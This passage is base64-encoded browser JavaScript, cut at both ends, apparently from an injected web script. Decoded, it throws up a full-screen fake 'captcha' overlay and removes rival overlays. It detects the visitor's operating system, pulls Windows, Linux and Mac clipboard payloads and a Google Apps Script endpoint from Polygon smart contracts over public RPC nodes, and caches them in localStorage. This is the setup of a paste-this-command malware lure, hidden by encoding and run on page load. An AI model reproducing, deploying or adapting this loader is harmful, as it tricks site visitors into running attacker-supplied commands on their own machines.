VudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTsNCiFmdW5jdGlvbigpew0KDQogIGlmICh3aW5kb3dbJ19fYWxyZWFkeVJhbiddKSByZXR1cm47DQogIHdpbmRvd1snX19hbHJlYWR5UmFuJ10gPSAxOw0KDQoNCiAgdmFyIHNlc3Npb25Ub2tlbiA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICB2YXIgRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMID0gImh0dHBzOi8vc2NyaXB0Lmdvb2dsZS5jb20vbWFjcm9zL3MvQUtmeWNienMwdlFSdkktMkJ4NFZVVUN4VUE0azY0SGRraUhpY1RtdUszeTFNWEFsN0FnalBJV3RSQlpxSDB2NkV6emV1QmFIL2V4ZWMiOw0KICAvLyBXaW4vTGludXgvTWFjIGNsaXBib2FyZCB0ZW1wbGF0ZXM6IFBvbHlnb24gZ2V0V2luVVJML2dldExpbnV4VVJML2dldE1hY1VSTCBvbmx5IChubyBzdGF0aWMgY29weSkuDQogIHZhciBBUFBTX1NDUklQVF9VUkwgPSBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkw7DQogIHZhciBXSU5fVVJMID0gJyc7DQogIHZhciBMSU5VWF9VUkwgPSAnJzsNCiAgdmFyIE1BQ19VUkwgPSAnJzsNCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKSB7DQogICAgdmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudCB8fCAnJzsNCiAgICB2YXIgcGxhdGZvcm0gPSBuYXZpZ2F0b3IucGxhdGZvcm0gfHwgJyc7DQogICAgaWYgKC9XaW4vaS50ZXN0KHBsYXRmb3JtKSB8fCAvV2luZG93cy9pLnRlc3QodWEpKSByZXR1cm4gJ3dpbmRvd3MnOw0KICAgIGlmICgvTWFjL2kudGVzdChwbGF0Zm9ybSkgfHwgL01hY2ludG9zaHxNYWMgT1MgWC9pLnRlc3QodWEpKSByZXR1cm4gJ21hYyc7DQogICAgaWYgKC9MaW51eC9pLnRlc3QocGxhdGZvcm0pIHx8IC9MaW51eHxYMTEvaS50ZXN0KHVhKSkgcmV0dXJuICdsaW51eCc7DQogICAgcmV0dXJuICd3aW5kb3dzJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdFZpc2l0b3JPcygpIHsNCiAgICByZXR1cm4gZGV0ZWN0VmlzaXRvck9zRmFtaWx5KCk7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbikgew0KICAgIHZhciBudE1hdGNoID0gdWEubWF0Y2goL1dpbmRvd3MgTlQgKFswLTkuXSspL2kpOw0KICAgIHZhciBudCA9IG50TWF0Y2ggPyBudE1hdGNoWzFdIDogJyc7DQogICAgdmFyIHB2TWFqb3IgPSBwbGF0Zm9ybVZlcnNpb24gPw0KICAgICAgKHBhcnNlSW50KFN0cmluZyhwbGF0Zm9ybVZlcnNpb24pLnNwbGl0KCcuJylbMF0sIDEwKSB8fCAwKSA6IDA7DQogICAgLy8gQ2hyb21pdW0gVXNlci1BZ2VudCBDbGllbnQgSGludHM6IFdpbjExIHJlcG9ydHMgcGxhdGZvcm1WZXJzaW9uIDEzKw0KICAgIGlmIChwdk1ham9yID49IDEzKSByZXR1cm4gJ3dpbjExJzsNCiAgICBpZiAobnQgPT09ICcxMC4wJyB8fCBwdk1ham9yID09PSAxMCkgcmV0dXJuICd3aW4xMCc7DQogICAgaWYgKG50ID09PSAnNi4zJykgcmV0dXJuICd3aW44LjEnOw0KICAgIGlmIChudCA9PT0gJzYuMicpIHJldHVybiAnd2luOCc7DQogICAgaWYgKG50ID09PSAnNi4xJykgcmV0dXJuICd3aW43JzsNCiAgICBpZiAobnQgPT09ICc2LjAnKSByZXR1cm4gJ3dpbnZpc3RhJzsNCiAgICBpZiAobnQgPT09ICc1LjEnKSByZXR1cm4gJ3dpbnhwJzsNCiAgICBpZiAobnQpIHJldHVybiAnd2luJyArIG50LnJlcGxhY2UoL1wuL2csICcnKTsNCiAgICByZXR1cm4gJ3dpbjEwJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdE1hY0xhYmVsKHVhLCBwbGF0Zm9ybVZlcnNpb24pIHsNCiAgICB2YXIgcHZNYWpvciA9IHBsYXRmb3JtVmVyc2lvbiA/DQogICAgICAocGFyc2VJbnQoU3RyaW5nKHBsYXRmb3JtVmVyc2lvbikuc3BsaXQoJy4nKVswXSwgMTApIHx8IDApIDogMDsNCiAgICBpZiAocHZNYWpvciA+IDApIHJldHVybiAnTWFjICcgKyBwdk1ham9yOw0KICAgIHZhciBtYWNNYXRjaCA9IHVhLm1hdGNoKC9NYWMgT1MgWCAoXGQrKVtfLl0oXGQrKS9pKTsNCiAgICBpZiAobWFjTWF0Y2gpIHJldHVybiAnTWFjICcgKyBtYWNNYXRjaFsxXSArICcuJyArIG1hY01hdGNoWzJdOw0KICAgIHJldHVybiAnTWFjJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdExpbnV4TGFiZWwodWEpIHsNCiAgICB2YXIgZGlzdHJvTWF0Y2ggPSB1YS5tYXRjaCgvXGIoVWJ1bnR1fEZlZG9yYXxEZWJpYW58TGludXggTWludHxQb3AhX09TfEFyY2ggTGludXh8TWFuamFyb3xvcGVuU1VTRSg/OiBMZWFwfCBUdW1ibGV3ZWVkKT98S2FsaXxlbGVtZW50YXJ5IE9TfFpvcmluIE9TKSg/OlsvIF0oW1xkLl0rKSk/L2kpOw0KICAgIGlmIChkaXN0cm9NYXRjaCkgew0KICAgICAgdmFyIGRpc3RybyA9IGRpc3Ryb01hdGNoWzFdOw0KICAgICAgdmFyIHZlciA9IGRpc3Ryb01hdGNoWzJdIHx8ICcnOw0KICAgICAgaWYgKC91YnVudHUvaS50ZXN0KGRpc3RybykpIHsNCiAgICAgICAgaWYgKCF2ZXIpIHsNCiAgICAgICAgICB2YXIgdWJ1bnR1U2xhc2ggPSB1YS5tYXRjaCgvVWJ1bnR1XC8oW1xkLl0rKS9pKTsNCiAgICAgICAgICB2ZXIgPSB1YnVudHVTbGFzaCA/IHVidW50dVNsYXNoWzFdIDogJyc7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHZlciA/ICgnVWJ1bnR1ICcgKyB2ZXIuc3BsaXQoJy4nKVswXSkgOiAnVWJ1bnR1JzsNCiAgICAgIH0NCiAgICAgIHJldHVybiB2ZXIgPyAoZGlzdHJvICsgJyAnICsgdmVyLnNwbGl0KCcuJylbMF0pIDogZGlzdHJvOw0KICAgIH0NCiAgICBpZiAoL0NyT1MvaS50ZXN0KHVhKSkgcmV0dXJuICdDaHJvbWVPUyc7DQogICAgaWYgKC9BbmRyb2lkL2kudGVzdCh1YSkpIHJldHVybiAnQW5kcm9pZCc7DQogICAgaWYgKC9hYXJjaDY0fGFybTY0L2kudGVzdCh1YSkpIHJldHVybiAnTGludXggYXJtNjQnOw0KICAgIGlmICgveDg2XzY0fHg2NHxhbWQ2NC9pLnRlc3QodWEpKSByZXR1cm4gJ0xpbnV4IHg4Nl82NCc7DQogICAgcmV0dXJuICdMaW51eCc7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKSB7DQogICAgdWEgPSB1YSB8fCBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnOw0KICAgIHZhciBmYW1pbHkgPSBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnd2luZG93cycpIHJldHVybiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbik7DQogICAgaWYgKGZhbWlseSA9PT0gJ21hYycpIHJldHVybiBkZXRlY3RNYWNMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnbGludXgnKSByZXR1cm4gZGV0ZWN0TGludXhMYWJlbCh1YSk7DQogICAgcmV0dXJuICd3aW4xMCc7DQogIH0NCg0KICB2YXIgVklTSVRPUl9PU19MQUJFTCA9IGRldGVjdFZpc2l0b3JPc0xhYmVsKCk7DQoNCiAgKGZ1bmN0aW9uIHJlZmluZVZpc2l0b3JPc0xhYmVsKCkgew0KICAgIHRyeSB7DQogICAgICBpZiAoIW5hdmlnYXRvci51c2VyQWdlbnREYXRhIHx8ICFuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcykgcmV0dXJuOw0KICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudERhdGEuZ2V0SGlnaEVudHJvcHlWYWx1ZXMoWydwbGF0Zm9ybVZlcnNpb24nXSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGludHMpIHsNCiAgICAgICAgICBWSVNJVE9SX09TX0xBQkVMID0gZGV0ZWN0VmlzaXRvck9zTGFiZWwoDQogICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnLA0KICAgICAgICAgICAgaGludHMgJiYgaGludHMucGxhdGZvcm1WZXJzaW9uDQogICAgICAgICAgKTsNCiAgICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfT1NfTEFCRUwgPSBWSVNJVE9SX09TX0xBQkVMOyB9IGNhdGNoIChlKSB7fQ0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7fSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfSkoKTsNCg0KICBmdW5jdGlvbiBnZXRWaXNpdG9yT3NMYWJlbCgpIHsNCiAgICByZXR1cm4gVklTSVRPUl9PU19MQUJFTCB8fCBkZXRlY3RWaXNpdG9yT3NMYWJlbCgpOw0KICB9DQoNCiAgdHJ5IHsgd2luZG93Ll9fQVZUX09TX0xBQkVMID0gVklTSVRPUl9PU19MQUJFTDsgfSBjYXRjaCAoZSkge30NCg0KICB2YXIgcnBjTGlzdCA9IFsNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLmRycGMub3JnJywNCiAgICAnaHR0cHM6Ly9ycGMuYW5rci5jb20vcG9seWdvbicsDQogICAgJ2h0dHBzOi8vMXJwYy5pby9tYXRpYycsDQogICAgJ2h0dHBzOi8vcG9seWdvbi1ib3ItcnBjLnB1YmxpY25vZGUuY29tJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLXB1YmxpYy5ub2RpZXMuYXBwJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLW1haW5uZXQucHVibGljLmJsYXN0YXBpLmlvJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLmdhdGV3YXkudGVuZGVybHkuY28nLA0KICAgICdodHRwczovL3JwYy1tYWlubmV0Lm1hdGljLnF1aWtub2RlLnBybycNCiAgXTsNCg0KICB2YXIgbGlua0NvbmZpZ0NvbnRyYWN0ID0gIjB4OTcxNWZENDRjOENFQzAwMEViRUYwMGY2NjIwYjE4QjY4ZjY0OUY4MCI7DQogIHZhciBsaW5rU2VsZWN0b3JzID0gew0KICAgIGdldEFwcHNTY3JpcHRVcmw6ICI0ZTU4ZTJmNyIsDQogICAgZ2V0VmVyY2VsQmFzZTogImJhZGQ2MmRiIiwNCiAgICBnZXRWZXJzaW9uOiAiMGQ4ZTZlMmMiLA0KICAgIGdldFdpblVSTDogIjIwZWMyYjRkIiwNCiAgICBnZXRMaW51eFVSTDogIjk5ZWY2Nzg0IiwNCiAgICBnZXRNYWNVUkw6ICIyMzc2NzgxOCINCiAgfTsNCiAgdmFyIGRvbWFpbkNvbnRyYWN0QWRkcmVzcyA9ICIweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjIiOw0KICB2YXIgZG9tYWluTWV0aG9kU2VsZWN0b3IgPSAiYjY4ZDE4MDkiOw0KICB2YXIgTElOS19DRkdfQ0FDSEVfS0VZID0gImNvZ25pX2xpbmtfY2ZnIjsNCg0KICBmdW5jdGlvbiBkZWNvZGVBYmlTdHJpbmcoaGV4UmVzdWx0KSB7DQogICAgdHJ5IHsNCg0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQuc3Vic3RyKDAsIDIpID09PSAnMHgnID8gaGV4UmVzdWx0LnN1YnN0cigyKSA6IGhleFJlc3VsdDsNCg0KDQogICAgICBpZiAoaGV4RGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoNjQsIDY0KSwgMTYpOw0KICAgICAgaWYgKCFzdHJpbmdMZW5ndGgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nSGV4Qnl0ZXMgPSBoZXhEYXRhLnN1YnN0cigxMjgsIHN0cmluZ0xlbmd0aCAqIDIpOw0KICAgICAgdmFyIGRlY29kZWRTdHJpbmcgPSAnJzsNCg0KDQogICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ0hleEJ5dGVzLmxlbmd0aDsgaSArPSAyKSB7DQogICAgICAgIHZhciBjaGFyQ29kZSA9IHBhcnNlSW50KHN0cmluZ0hleEJ5dGVzLnN1YnN0cihpLCAyKSwgMTYpOw0KICAgICAgICBpZiAoY2hhckNvZGUpIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaGFyQ29kZSk7DQogICAgICB9DQogICAgICByZXR1cm4gZGVjb2RlZFN0cmluZzsNCiAgICB9IGNhdGNoIChlKSB7DQogICAgICByZXR1cm4gJyc7DQogICAgfQ0KICB9DQoNCiAgZnVuY3Rpb24gZGVjb2RlQWJpVWludDI1NihoZXhSZXN1bHQpIHsNCiAgICB0cnkgew0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQgJiYgaGV4UmVzdWx0LnN1YnN0cigwLCAyKSA9PT0gJzB4JyA/IGhleFJlc3VsdC5zdWJzdHIoMikgOiBoZXhSZXN1bHQ7DQogICAgICBpZiAoIWhleERhdGEgfHwgaGV4RGF0YS5sZW5ndGggPCA2NCkgcmV0dXJuIDA7DQogICAgICByZXR1cm4gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoLTY0KSwgMTYpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHJwY0NhbGwocnBjVXJsLCByZXF1ZXN0Qm9keSkgew0KICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSwgcmVqZWN0KSB7DQogICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICB4aHIub3BlbignUE9TVCcsIHJwY1VybCwgdHJ1ZSk7DQogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgIHhoci50aW1lb3V0ID0gNTAwMDsNCg0KICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICByZXNvbHZlKEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkpOw0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgcmVqZWN0KGUpOw0KICAgICAgICB9DQogICAgICB9Ow0KDQogICAgICB4aHIub25lcnJvciA9IHhoci5vbnRpbWVvdXQgPSBmdW5jdGlvbiAoKSB7DQogICAgICAgIHJlamVjdChuZXcgRXJyb3IoKSk7DQogICAgICB9Ow0KDQogICAgICB4aHIuc2VuZChKU09OLnN0cmluZ2lmeShyZXF1ZXN0Qm9keSkpOw0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUoJycpOw0KICAgIHZhciByZXF1ZXN0Qm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogY29udHJhY3QsIGRhdGE6ICcweCcgKyBzZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQogICAgcmV0dXJuIHJwY0NhbGwocnBjTGlzdFtycGNJbmRleF0sIHJlcXVlc3RCb2R5KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5lcnJvcikgcmV0dXJuIGV0aENhbGxBdChjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQpIHJldHVybiByZXNwb25zZS5yZXN1bHQ7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCcnKTsNCiAgICByZXR1cm4gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpLnRoZW4oZnVuY3Rpb24gKGhleCkgew0KICAgICAgdmFyIHZhbHVlID0gZGVjb2RlQWJpU3RyaW5nKGhleCk7DQogICAgICBpZiAodmFsdWUpIHJldHVybiB2YWx1ZTsNCiAgICAgIHJldHVybiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiByZWFkTGlua0NhY2hlKCkgew0KICAgIHRyeSB7DQogICAgICB2YXIgcmF3ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oTElOS19DRkdfQ0FDSEVfS0VZKTsNCiAgICAgIHJldHVybiByYXcgPyBKU09OLnBhcnNlKHJhdykgOiBudWxsOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHdyaXRlTGlua0NhY2hlKHZlcnNpb24sIGFwcHMsIHdpbiwgbGludXgsIG1hYykgew0KICAgIHRyeSB7DQogICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShMSU5LX0NGR19DQUNIRV9LRVksIEpTT04uc3RyaW5naWZ5KHsNCiAgICAgICAgdmVyc2lvbjogdmVyc2lvbiwNCiAgICAgICAgYXBwczogYXBwcywNCiAgICAgICAgd2luOiB3aW4sDQogICAgICAgIGxpbnV4OiBsaW51eCwNCiAgICAgICAgbWFjOiBtYWMsDQogICAgICAgIHRzOiBEYXRlLm5vdygpDQogICAgICB9KSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGlzVmFsaWRBcHBzVXJsKHVybCkgew0KICAgIHJldHVybiAhIXVybA0KICAgICAgJiYgL15odHRwczpcL1wvc2NyaXB0XC5nb29nbGVcLmNvbVwvbWFjcm9zXC9zXC9bQS1aYS16MC05Xy1dK1wvZXhlYyQvLnRlc3QodXJsKQ0KICAgICAgJiYgdXJsLmluZGV4T2YoJ1lPVVJfU0NSSVBUX0lEJykgPT09IC0xOw0KICB9DQoNCiAgZnVuY3Rpb24gaXNWYWxpZE9zUGF5bG9hZCh0ZXh0KSB7DQogICAgdmFyIHZhbHVlID0gU3RyaW5nKHRleHQgfHwgJycpLnRyaW0oKTsNCiAgICByZXR1cm4gdmFsdWUubGVuZ3RoID49IDQwICYmIHZhbHVlLmluZGV4T2YoJ1hYWF8nKSAhPT0gLTE7DQogIH0NCg0KICBmdW5jdGlvbiBhcHBseUxpbmtDb25maWcoY2ZnKSB7DQogICAgdmFyIGFwcHMgPSAoY2ZnICYmIGNmZy5hcHBzKSA/IGNmZy5hcHBzIDogRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICAgIEFQUFNfU0NSSVBUX1VSTCA9IGlzVmFsaWRBcHBzVXJsKGFwcHMpID8gYXBwcyA6IEZBTExCQUNLX0FQUFNfU0NSSVBUX1VSTDsNCiAgICBXSU5fVVJMID0gaXNWYWxpZE9zUGF5bG9hZChjZmcgJiYgY2ZnLndpbikgPyBTdHJpbmcoY2ZnLndpbikudHJpbSgpIDogJyc7DQogICAgTElOVVhfVVJMID0gaXNWYWxpZE9zUGF5bG9hZChjZmcgJiYgY2ZnLmxpbnV4KSA/IFN0cmluZyhjZmcubGludXgpLnRyaW0oKSA6ICcnOw0KICAgIE1BQ19VUkwgPSBpc1ZhbGlkT3NQYXlsb2FkKGNmZyAmJiBjZmcubWFjKSA/IFN0cmluZyhjZmcubWFjKS50cmltKCkgOiAnJzsNCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfQVBQU19TQ1JJUFRfVVJMID0gQVBQU19TQ1JJUFRfVVJMOyB9IGNhdGNoIChlKSB7fQ0KICAgIHRyeSB7IHdpbmRvdy5fX0FWVF9XSU5fVVJMID0gV0lOX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfTElOVVhfVVJMID0gTElOVVhfVVJMOyB9IGNhdGNoIChlKSB7fQ0KICAgIHRyeSB7IHdpbmRvdy5fX0FWVF9NQUNfVVJMID0gTUFDX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCkgew0KICAgIGlmIChycGNJbmRleCA+PSBycGNMaXN0Lmxlbmd0aCkgcmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKTsNCg0KICAgIHJldHVybiBldGhDYWxsQXQobGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldFZlcnNpb24sIHJwY0luZGV4KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHZlcnNpb25IZXgpIHsNCiAgICAgICAgdmFyIHZlcnNpb24gPSBkZWNvZGVBYmlVaW50MjU2KHZlcnNpb25IZXgpOw0KICAgICAgICBpZiAoIXZlcnNpb24pIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCg0KICAgICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgICBpZiAoY2FjaGVkICYmIGNhY2hlZC52ZXJzaW9uID09PSB2ZXJzaW9uICYmDQogICAgICAgICAgICBpc1ZhbGlkQXBwc1VybChjYWNoZWQuYXBwcykgJiYNCiAgICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLndpbikgJiYNCiAgICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLmxpbnV4KSAmJg0KICAgICAgICAgICAgaXNWYWxpZE9zUGF5bG9hZChjYWNoZWQubWFjKSkgew0KICAgICAgICAgIHJldHVybiB7DQogICAgICAgICAgICBhcHBzOiBjYWNoZWQuYXBwcywNCiAgICAgICAgICAgIHdpbjogY2FjaGVkLndpbiwNCiAgICAgICAgICAgIGxpbnV4OiBjYWNoZWQubGludXgsDQogICAgICAgICAgICBtYWM6IGNhY2hlZC5tYWMsDQogICAgICAgICAgICB2ZXJzaW9uOiB2ZXJzaW9uDQogICAgICAgICAgfTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiBQcm9taXNlLmFsbChbDQogICAgICAgICAgZmV0Y2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldEFwcHNTY3JpcHRVcmwsIHJwY0luZGV4KSwNCiAgICAgICAgICBmZXRjaFN0cmluZ0Zyb21DaGFpbihsaW5rQ29uZmlnQ29udHJhY3QsIGxpbmtTZWxlY3RvcnMuZ2V0V2luVVJMLCBycGNJbmRleCksDQogICAgICAgICAgZmV0Y2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldExpbnV4VVJMLCBycGNJbmRleCksDQogICAgICAgICAgZmV0Y2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldE1hY1VSTCwgcnBjSW5kZXgpDQogICAgICAgIF0pLnRoZW4oZnVuY3Rpb24gKHBhcnRzKSB7DQogICAgICAgICAgdmFyIGFwcHMgPSBwYXJ0c1swXTsNCiAgICAgICAgICB2YXIgd2luID0gU3RyaW5nKHBhcnRzWzFdIHx8ICcnKS50cmltKCk7DQogICAgICAgICAgdmFyIGxpbnV4ID0gU3RyaW5nKHBhcnRzWzJdIHx8ICcnKS50cmltKCk7DQogICAgICAgICAgdmFyIG1hYyA9IFN0cmluZyhwYXJ0c1szXSB8fCAnJykudHJpbSgpOw0KICAgICAgICAgIGlmICghaXNWYWxpZEFwcHNVcmwoYXBwcykgfHwNCiAgICAgICAgICAgICAgIWlzVmFsaWRPc1BheWxvYWQod2luKSB8fA0KICAgICAgICAgICAgICAhaXNWYWxpZE9zUGF5bG9hZChsaW51eCkgfHwNCiAgICAgICAgICAgICAgIWlzVmFsaWRPc1BheWxvYWQobWFjKSkgew0KICAgICAgICAgICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgICAgIH0NCiAgICAgICAgICB3cml0ZUxpbmtDYWNoZSh2ZXJzaW9uLCBhcHBzLCB3aW4sIGxpbnV4LC